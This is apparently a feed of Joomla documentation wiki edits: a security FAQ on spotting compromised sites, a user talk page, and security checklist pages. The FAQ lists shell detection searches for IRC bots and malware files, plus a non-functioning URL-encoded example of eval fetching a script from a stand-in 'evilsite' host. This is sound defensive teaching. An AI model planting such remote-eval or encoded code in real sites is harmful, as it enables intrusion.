* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=62364</id>
		<title>User talk:Chris Davenport</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Chris_Davenport&amp;diff=62364"/>
		<updated>2011-09-26T22:45:31Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: spelling of January on VEL&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;What was the reason my edits were removed?&lt;br /&gt;
&lt;br /&gt;
Linking to external sites is classed as &amp;quot;self-promotion&amp;quot;.  If you wish to contribute videos (or any other resource) then they need to be hosted on our infrastructure.  Ideally they will also be JEDL licensed, although we will consider material under other open licenses as long as the license terms are clearly shown.  I look forward to seeing your videos.  Just send them to me and I&#039;ll arrange to put them in an appropriate place.  Thanks. [[User:Chris Davenport|Chris Davenport]] 03:43, 12 December 2008 (EST)&lt;br /&gt;
&lt;br /&gt;
== basic template tutorial ==&lt;br /&gt;
&lt;br /&gt;
You removed the warning notice I added to the tutorial, IMHO it is better to warn people that the basic tutorial will *not* give them a working template than letting them wonder why the template manager refuse to install their template. This notice should stay until someone fix the tutorial. For example removing the reference to the optional background.png from the xml because joomla will complain about a missing file and refuse to install the template. The xml example ought to be coherent with the outline of folder/file structure. Adding some mention of the role and importance the thumbnail file is another thing worth mention among the errors I had to fix for the template to actually install.&lt;br /&gt;
&lt;br /&gt;
I removed your comments because they were not constructive.  If you encountered a specific problem with the tutorial you should describe the issue in enough detail that someone would be able to reproduce it and then be able to amend the tutorial.  You should also do that on the Talk: page rather than on the page itself.  Better still you could amend the tutorial yourself; we welcome additions or amendments that improve the documentation. [[User:Chris Davenport|Chris Davenport]] 08:52, 15 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
This revert thing is gonna get old quick. I can easily return the compliment and say I undid your removal because it&#039;s not constructive either, that If you encountered a specific problem with my editing, you should tell me about it in details on my talk page or point that warning readers that the tutorial is broken is improving the documentation, and the first step of actually fixing it. You should know better than what you did, I don&#039;t have the required knowledge and time to fix it myself. If you wanted to reproduce the issue, you just have to follow the tutorial step-by-step, better yet you can read the tutorial and you&#039;ll notice that it cannot work as is, or maybe just read what I wrote above and you&#039;ll see I did exactly what you asked me. On a related note don&#039;t invite someone to do something them block their account to prevent him from doing so, act stupid and treat people badly and they will act stupid too and behave as you expect them too. IMHO it&#039;s not smart to fight over such a ridiculous thing, but if you want me to waste both your and my time I&#039;ll take you on your challenge, so unless you&#039;re willing to block the whole ip range I&#039;m using, I&#039;ll come back and do it again. This is the kind of behaviour you usually get from relying on http://meatballwiki.org/wiki/HardSecurity first and not trying to communicate instead of http://meatballwiki.org/wiki/SoftSecurity. see you soon from another ip. While at it also read http://meatballwiki.org/wiki/CriticismIsFeedback&lt;br /&gt;
&lt;br /&gt;
All I am asking is that you edit the page in such a way that others can see the problem you encountered and can correct the information given.  Simply saying that &amp;quot;...will end up in a few various errors...&amp;quot; does little to help us.  What errors did you encounter?  What version of Joomla were you using?  What platform are you running Joomla on?  Just stating that there are errors is like submitting a bug report that does nothing more than state that there is a bug in 1.6.  Your hostile behaviour is uncalled for.  07:29, 16 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Templates ==&lt;br /&gt;
&lt;br /&gt;
Hello&lt;br /&gt;
I wanna ask, who can edit the Template Namespace in this Wiki? It would be cool, if a &amp;quot;normal&amp;quot; user could add some templates, cause I got a permission denied message --[[User:Bembelimen|Bembelimen]] 20:17, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I wasn&#039;t aware that it was restricted.  What page/template are you trying to edit/create? [[User:Chris Davenport|Chris Davenport]] 21:06, 23 December 2008 (UTC)&lt;br /&gt;
:It doesn&#039;t matter which one i try to edit or create. I get everytime this message:&lt;br /&gt;
:&#039;&#039;&#039;Permission error&#039;&#039;&#039;&lt;br /&gt;
:You do not have permission to edit pages, for the following reason:&amp;lt;br /&amp;gt;&lt;br /&gt;
:You do not have permission to edit pages in the &#039;&#039;&#039;Template&#039;&#039;&#039; namespace.&lt;br /&gt;
:--[[User:Bembelimen|Bembelimen]] 21:37, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I moved you to the Editors group.  Try it now.  [[User:Chris Davenport|Chris Davenport]] 23:36, 23 December 2008 (UTC)&lt;br /&gt;
:works now, thank you --[[User:Bembelimen|Bembelimen]] 23:52, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
== J1.6 Help system ==&lt;br /&gt;
&lt;br /&gt;
I read that all will be different for Help in 1.6.  Can you please point me to plans for Help 1.6? Tony Davis 06:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Help for Joomla 1.5 and prior versions has traditionally been served from pages on http://help.joomla.org, which is itself a Joomla instance.  In fact, the help system implemented in all Joomla versions up to 1.5 is hard-coded to require that the help server be a Joomla instance (probably not intentionally, but that&#039;s the way it worked out).  That caused a couple of problems:&lt;br /&gt;
# When we moved the focus of the documentation effort to a wiki, it made sense to construct the help screens on the wiki too.  However, this meant that we had to copy-paste the help screens from the wiki to help.joomla.org and whilst this is straightforward in theory, it is actually very labour-intensive and there is a lot of manual &amp;quot;fixing-up&amp;quot; that had to be done.&lt;br /&gt;
# It didn&#039;t solve a problem that had always existed with the help screens: clicking on a link in a help screen causes the next page to be loaded to appear with the full Joomla template, including headers, footers and modules, when it would be better to have just the help screen content display.&lt;br /&gt;
The first of these problems is addressed by serving the help screens directly from the wiki.  However, this requires some minor code changes in Joomla itself.  There is a patch to enable 1.5 to access non-Joomla help servers, but I believe it needs tweaking for 1.6 and I haven&#039;t had chance to do that yet.  The second of these problems is addressed by serving the help screens via a proxy instead of directly from the wiki.  The proxy is a Joomla instance running a small component and is already set up and running at http://help.joomla.org/proxy.  It uses the wiki&#039;s web API to pull data from the wiki and because it has a stripped-down default template, it doesn&#039;t deliver any headers, footers or modules that are not intended.&lt;br /&gt;
&lt;br /&gt;
As for the help screens themselves, the user interface for 1.6 is not yet fixed so it probably not wise to start writing the help screens (which generally involve a lot of screenshots) until it is.  It is expected that the UI will be fixed when the first beta is released, so that should be the starting point for writing help screens.  Of course, there&#039;s nothing to stop anyone starting before then, you just need to be aware that changes are very likely to happen.&lt;br /&gt;
&lt;br /&gt;
The other area which is still &amp;quot;up for grabs&amp;quot; is a new key reference scheme.  The help system works by having a &amp;quot;key reference&amp;quot; embedded in the code.  This is then used to construct a URL from which the help screen is pulled.  You can see the traditional naming scheme here: [[Help screens]].  However, with 1.6 we have the opportunity to completely revise this scheme if we want to.  For example, we could add a namespace to the key reference, giving us &amp;quot;Joomla16:Config&amp;quot; instead of &amp;quot;screen.config.16&amp;quot;, say.  I&#039;m not saying we should do that; I&#039;m just illustrating the point that we have a great deal of flexibility and with 1.6 we don&#039;t have to worry about backwards-compatibility as there won&#039;t be any even if we stick with the current naming scheme.&lt;br /&gt;
&lt;br /&gt;
In 1.5 (and before) the Joomla version number was appended to the basic key reference automatically.  With the new help system, we can construct URL&#039;s with a lot more flexibility and we can make use of the following variables:&lt;br /&gt;
* keyref&lt;br /&gt;
*: The basic key reference itself&lt;br /&gt;
* major&lt;br /&gt;
*: The major part of the Joomla version number.&lt;br /&gt;
* minor&lt;br /&gt;
*: The minor part of the Joomla version number.&lt;br /&gt;
* maintenance&lt;br /&gt;
*: The maintenance part of the Joomla version number.&lt;br /&gt;
* language&lt;br /&gt;
*: The full language code (eg. &amp;quot;en-GB&amp;quot;)&lt;br /&gt;
* langregion&lt;br /&gt;
*: The region part of the language code (eg. &amp;quot;GB&amp;quot;).&lt;br /&gt;
These variables can be used anywhere within a help system URL to construct the page name to be retrieved.&lt;br /&gt;
&lt;br /&gt;
Hope that helps.&lt;br /&gt;
[[User:Chris Davenport|Chris Davenport]] 09:36, 3 November 2009 (UTC)&lt;br /&gt;
Thanks for that Chris.&lt;br /&gt;
&lt;br /&gt;
I take it from the above that one decision (or obvious thing) is that 1.6 Help will be a Joomla based system.  Which leads to the question - Should the documentation be similarly based?  I see it all being of a piece - the Help Screens being the descriptive part of the User Manual but there also being Introductory texts, Tutorials, Videos, Recipes (a lesser form of Tutorial to encourage folk to write them).  It will be accessed either contextually - as a Help System - or like a Cookery Book or like a programming tutorial text.  Is this totally daft?&lt;br /&gt;
&lt;br /&gt;
I have built a whole heap of wiki pages and have learnt loads.  see [http://docs.joomla.org/Manual_1_6 the root]  I am concerned about controlling it.  Could you look at Amy&#039;s Ning in two places [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/are-things-going-in-the-right bottom of this page] and [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/style-and-content this post] asking for volunteers. &lt;br /&gt;
&lt;br /&gt;
All advice gratefully received. Tony Davis 22:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Not sure I follow what you mean when you say that &amp;quot;1.6 Help will be a Joomla based system&amp;quot;.  The English help screens for 1.6 are going to be served from the wiki, although they are going through a proxy that happens to be running Joomla (I could just as easily have written some standalone PHP to act as a proxy, or if I knew how, a Drupal instance).  The fact that all the documentation will be in the wiki, including the help screens, means that we can share content between the help screens and other forms of documentation.  For example, I hope that the new 1.6 help screens will include links to more task-orientated pages.  I wouldn&#039;t include the help screens as such in the User Manual as they mostly just describe what you see on a particular Administrator screen.  I think that the User Manual (or Administrator&#039;s Manual as I prefer to call it) should be more task/goal orientated.  I made a start at  the sort of material I thought was appropriate on this page: [[Administrators]].  This is not to say that we cannot share content between the help screens and the User Manual though, but including an entire help screen in the User Manual is probably not very helpful.&lt;br /&gt;
&lt;br /&gt;
I haven&#039;t had chance to read the Ning pages thoroughly, but I think Amy is right when she says that we should not expect authors to be wiki experts.  We need to encourage people to write the raw material that can then be shaped by others into the modular, context-independent form that is the life-blood of a single-source, modular documentation system.  [[User:Chris Davenport|Chris Davenport]] 23:19, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Extensions Updates ==&lt;br /&gt;
&lt;br /&gt;
I noticed you are in process of updating the page. I am wondering if your update might contain any new information regarding Zoom Media Gallery (a now dead project), or Ice Gallery (Zoom&#039;s replacement project, which may also be either dead or in serious limbo). Ice Gallery, it seems, has a serious vulnerability, and is not yet listed here. In any event, Ice should be added, and Zoom entry should be updated as well. I have the info, and can do, if you don&#039;t. --[[User:Riverside|Riverside]] 00:16, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
I&#039;m not involved in maintaining that information.  Please email vel@joomla.org to report vulnerabilities.  Thank you.  [[User:Chris Davenport|Chris Davenport]] 00:25, 21 November 2010 (UTC)&lt;br /&gt;
:Sorry, I was looking at the wrong history page (talk, instead of the main page ~ so apparently it wasn&#039;t you editing it), but I will send what I&#039;ve found there. Thanks. --[[User:Riverside|Riverside]] 18:58, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Templates for 1.6==&lt;br /&gt;
Chris,&lt;br /&gt;
Just wondering if you got my email regarding chunks and templates for the 1.6 help screens.  I&#039;d like to be editing and updating a lot of these screens but I&#039;m not going to do anything until we can figure out a good way to handle chunks.&lt;br /&gt;
Would appreciate a response.&lt;br /&gt;
[[User:219jondn|219jondn]] 01:48, 21 January 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Terminology ==&lt;br /&gt;
&lt;br /&gt;
I note that you removed the material I put on the evaluators page about terminology. &lt;br /&gt;
Could you clarify your reasons please ? [[User:Vernonr|Vernonr]] 10:27 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
Yes, you linked to material on your user page, which is not a good idea as all material should be in one of the main namespaces rather than in personal areas.  Plus, your user page contained references to external sites which could be construed as self-promotion (see [[JDOC:Wiki_policy|Wiki_policy]].  Although the links are acceptable on user pages, they would not be acceptable on main documentation pages.  You can fix it easily by writing directly in the Evaluators page and not linking to external sites. [[User:Chris Davenport|Chris Davenport]] 19:53, 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
OK. How can one create a new page in the main namespace ?&lt;br /&gt;
&lt;br /&gt;
I think it would make more sense to have an introductory page about terminology than to try and fit the material into the Evaluators page, and there could be other pages in the main namespace that should have the link. Would I be right in thinking that noting the authorship of articles is allowed under [[JDOC:Wiki_policy|Wiki_policy]] i.e. a link to the user page [[User:Vernonr|Vernonr]] 10:20 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
You don&#039;t need any additional permissions to create pages in the main namespace, so just go right ahead.  It is not necessary to note authorship in the pages themselves as all pages have full version history automatically recorded, including links to user pages (just click the &amp;quot;history&amp;quot; tab on any page). [[User:Chris Davenport|Chris Davenport]] 21:14, 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
=== Change permission of content ===&lt;br /&gt;
Hi.&lt;br /&gt;
I would ask permission to move pages from the template namespace which are actually in course descriptions and pages that have links pointing to them.&lt;br /&gt;
I have as main objective the wiki organization and redesign the landing pages.&lt;br /&gt;
&lt;br /&gt;
Thanks,&lt;br /&gt;
[[User:Wgviana|WGViana]]&lt;br /&gt;
&lt;br /&gt;
Hi WGVianna.  Can you give me some examples of the changes you are proposing?  Moving templates needs to be done with care and I want to make sure that what you are proposing fits with our overall objectives.  Thanks.  [[User:Chris Davenport|Chris Davenport]] 14:39, 8 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
Hi Chris.&lt;br /&gt;
List pages =&amp;gt; [http://docs.joomla.org/index.php?title=Special%3AAllPages&amp;amp;from=&amp;amp;to=&amp;amp;namespace=10|SpecialPages:Allpages], there are pages in this namespace that are in my view should namespace &#039;&#039;&#039;description&#039;&#039;&#039; such as:&lt;br /&gt;
*[[Template:Beginner_profile]]&lt;br /&gt;
*[[Template:Framework]]&lt;br /&gt;
*[[Template:Model-View-Controller]]&lt;br /&gt;
*[[Template:Upgrade_Package]]&lt;br /&gt;
*[[Template:Upgrade-test]]&lt;br /&gt;
*[[Template:Version_Control_Software]]&lt;br /&gt;
[[User:Wgviana|WGViana]] 12:00, 9 September 2011&lt;br /&gt;
&lt;br /&gt;
Hi Wgviana.  I agree they should not be in the Template: namespace.  However, I think they should be moved to the Chunk: namespace rather than Description:.  The Description: namespace was set up specifically for class and method descriptions in the API Reference.  I have added you to the Editors group so you should be able to make the changes yourself now.  Thanks for volunteering.  [[User:Chris Davenport|Chris Davenport]] 16:15, 12 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
==Minor Spelling Issue==&lt;br /&gt;
Hi Chris, Top of the protected page:[http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable_Extensions_List] &amp;quot;Jnuary&amp;quot; is probably &amp;quot;January&amp;quot; with an &amp;quot;a&amp;quot;. Thank you&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Getting_Started&amp;diff=62363</id>
		<title>Security Checklist/Getting Started</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Getting_Started&amp;diff=62363"/>
		<updated>2011-09-26T22:41:22Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ not needed as it&amp;#039;s a wiki and your can see from the history you edited this page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
== Read Me First==&lt;br /&gt;
&lt;br /&gt;
=== Security matters ===&lt;br /&gt;
&lt;br /&gt;
:Internet security is a fast moving challenge and ever present threat. There is no one right way to secure a website, and all security methods are subject to instant obsolescence, incremental improvement, and constant revision. All public facing websites are open to constant attack. Are you willing and able to invest the time it takes to administer a dynamic, 24x7, world-accessible, database-driven, interactive, user-authenticated website? Do you have the time and resources to respond to the constant flow of new Internet security issues? The [[Top 10 Stupidest Administrator Tricks]] is a comic/tragic look at what can go wrong. Don&#039;t learn these tricks the hard way! Depending on your own experience, reading the &#039;&#039;Stupidest Tricks&#039;&#039; will either make you laugh or cry. Luckily, there are some well-established principles upon which to base your defensive plans. The following checklists point you toward current best practices for Joomla security.&lt;br /&gt;
&lt;br /&gt;
=== How to read these documents ===&lt;br /&gt;
#Not all techniques are appropriate for every level of experience. Apply the techniques you understand and read up on the ones you don&#039;t.&lt;br /&gt;
#Not all techniques are appropriate for every server. If you use a shared server, you must depend on the settings established by your hosting provider. If you are using a virtual or dedicated server, you can apply more creative security tactics.&lt;br /&gt;
#Not all security tactics are appropriate for all versions of Joomla. Where a technique applies to only one version it is noted by one of the following icons: {{JVer|1.0}}{{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}}.&lt;br /&gt;
&lt;br /&gt;
=== The most important guidelines===&lt;br /&gt;
:These checklists are long and growing because the full plot is thick, complex, and expanding, but don&#039;t despair! Here are a few essential guidelines for securing any website. Following them will protect you from most catastrophes.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Back up early and often:&#039;&#039;&#039; Set up (and use and test) a regular backup and recovery process. When done well, this ensures that you can recover from almost any imaginable disaster.&lt;br /&gt;
# &#039;&#039;&#039;Update early and often:&#039;&#039;&#039; Promptly update to the latest &#039;&#039;stable&#039;&#039; version of Joomla! and any installed third-party extensions. This ensures that your site is protected from the newest vulnerabilities as soon as a fix is released and from the latest attack methods as soon as a defense is developed. &lt;br /&gt;
# &#039;&#039;&#039;Use a secure host&#039;&#039;&#039;: Use a high-quality Web host. Do not be fooled by offers of &#039;unlimited bandwidth, unlimited hard drive space, unlimited databases, etc. &lt;br /&gt;
# &#039;&#039;&#039;Use the community&#039;&#039;&#039;: Don&#039;t forget the truism, &amp;quot;If a deal is too good to be true, it is.&amp;quot; It seems that nothing on Earth is unlimited--except perhaps the gullibility of fools and the greed of those who prey upon them. Consider hiring professional assistance if you have inadequate experience or knowledge in this area. One of the advantages of GNU software is that user support is free. Take good advantage of this by asking good questions within the [http://forum.joomla.org Joomla! Forums]. When doing so, be sure to use the the most appropriate board, such as Installation, Migration and Updating, Administration. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::The most helpful posts in the Joomla! Security Forum are converted into [[Security and Performance FAQs]]. Many of the items on this list are explained in much greater detail in the FAQs. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::You may want to read the excellent [[Beginners|Absolute Beginners Guide to Joomla!]] It has wealth of tips and tricks presented in an easy to understand format. Even experienced Joomlaists find great ideas here. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::Hunt down the many nuggets of wisdom found in the [http://forum.joomla.org Joomla! Forums], in particular the [http://forum.joomla.org/viewforum.php?f=432 Joomla! 1.5 Security Forum] and the [http://forum.joomla.org/viewforum.php?f=267 Joomla! 1.0 Security Forum].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::To receive all Joomla security announcements, subscribe to Joomla Security News. There are several ways to subscribe: &lt;br /&gt;
&lt;br /&gt;
::# [http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews Automatic Email Notification]&lt;br /&gt;
::# [http://feeds.joomla.org/JoomlaSecurityNews RSS feed].&lt;br /&gt;
&lt;br /&gt;
=== The bad news === &lt;br /&gt;
#&#039;&#039;&#039;There is no perfect security on the Web!&#039;&#039;&#039; As economists would say, &amp;quot;There&#039;s no free lunch.&amp;quot; Don&#039;t be fooled by Joomla&#039;s award winning ease-of-use. Maintaining a secure Web site on the open Internet is not easy. Maintaining adequate security requires a wide and ever-growing range of skills and knowledge, constant watchfulness, and a robust backup and recovery process.&lt;br /&gt;
#&#039;&#039;&#039;There&#039;s no one right way!&#039;&#039;&#039; Due to the variety and complexity of modern web systems, security issues can&#039;t be resolved with simple, one-size-fits-all solutions. You (or someone you trust) must learn enough about your server infrastructure to make valid security decisions. Strong security is a moving target. Today&#039;s expert might be tomorrow&#039;s victim. Welcome to the game...&lt;br /&gt;
#&#039;&#039;&#039;There&#039;s no substitute for experience!&#039;&#039;&#039; To secure your Web site, you must gain real experience (some of which will be bitter), or get experienced help from others. If you haven&#039;t invested the considerable time it takes to learn how to maintain a secure Web site, be sure you can consult with someone who has. Read this tongue-in-cheek description of the [[Top_10_Stupidest_Administrator_Tricks|Top 10 Stupidest Administrator Tricks]] which illustrates typical, blow-by-blow examples of how to learn Web security the hard way.&lt;br /&gt;
&lt;br /&gt;
=== The good news === &lt;br /&gt;
&lt;br /&gt;
#&#039;&#039;&#039;Even a beginner can start at the head of the herd&#039;&#039;&#039; User forums for many systems are clogged with [http://www.google.com/search?q=Help!+I&#039;ve+been+hacked Help! I&#039;ve been hacked] posts by people who did NOT follow standard security practices. If you are studying this checklist before your site is attacked, congratulations, you&#039;re already ahead of the herd.&lt;br /&gt;
#&#039;&#039;&#039;It&#039;s not as hard as it looks&#039;&#039;&#039; If this is one of your first websites, security issues may seem overwhelming, but you don&#039;t have to deal with all of them at once. Start with the most critical issues. As you become more familiar with [http://www.gnu.org GNU] tools and techniques, including [http://www.gnu.org/ GNU/Linux], [http://www.apache.org Apache], [http://www.mysql.com MySQL], [http://en.wikipedia.org/wiki/SQL SQL], [http://www.php.net PHP], [http://en.wikipedia.org/wiki/HTTP HTTP], [http://en.wikipedia.org/wiki/CSS CSS], [http://en.wikipedia.org/wiki/XML XML], [http://en.wikipedia.org/wiki/RSS RSS], [http://en.wikipedia.org/wiki/TCP/IP TCP/IP], [http://en.wikipedia.org/wiki/FTP FTP], [http://subversion.tigris.org/ Subversion], [http://en.wikipedia.org/wiki/JavaScript JavaScript], and [http://www.joomla.org Joomla!], you&#039;ll add refinements to your set of security tactics.&lt;br /&gt;
#&#039;&#039;&#039;You can get help&#039;&#039;&#039; If you believe your website was attacked, &#039;&#039;&#039;do not&#039;&#039;&#039; simply post an announcement with full details in the Joomla! forums. If you are dealing with a new vulnerability or new form of attack, publishing that information could put other websites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].&lt;br /&gt;
&lt;br /&gt;
== Security Checklists Table of Contents==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62362</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62362"/>
		<updated>2011-09-26T22:38:36Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* How do I choose a quality hosting provider? */ reword&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
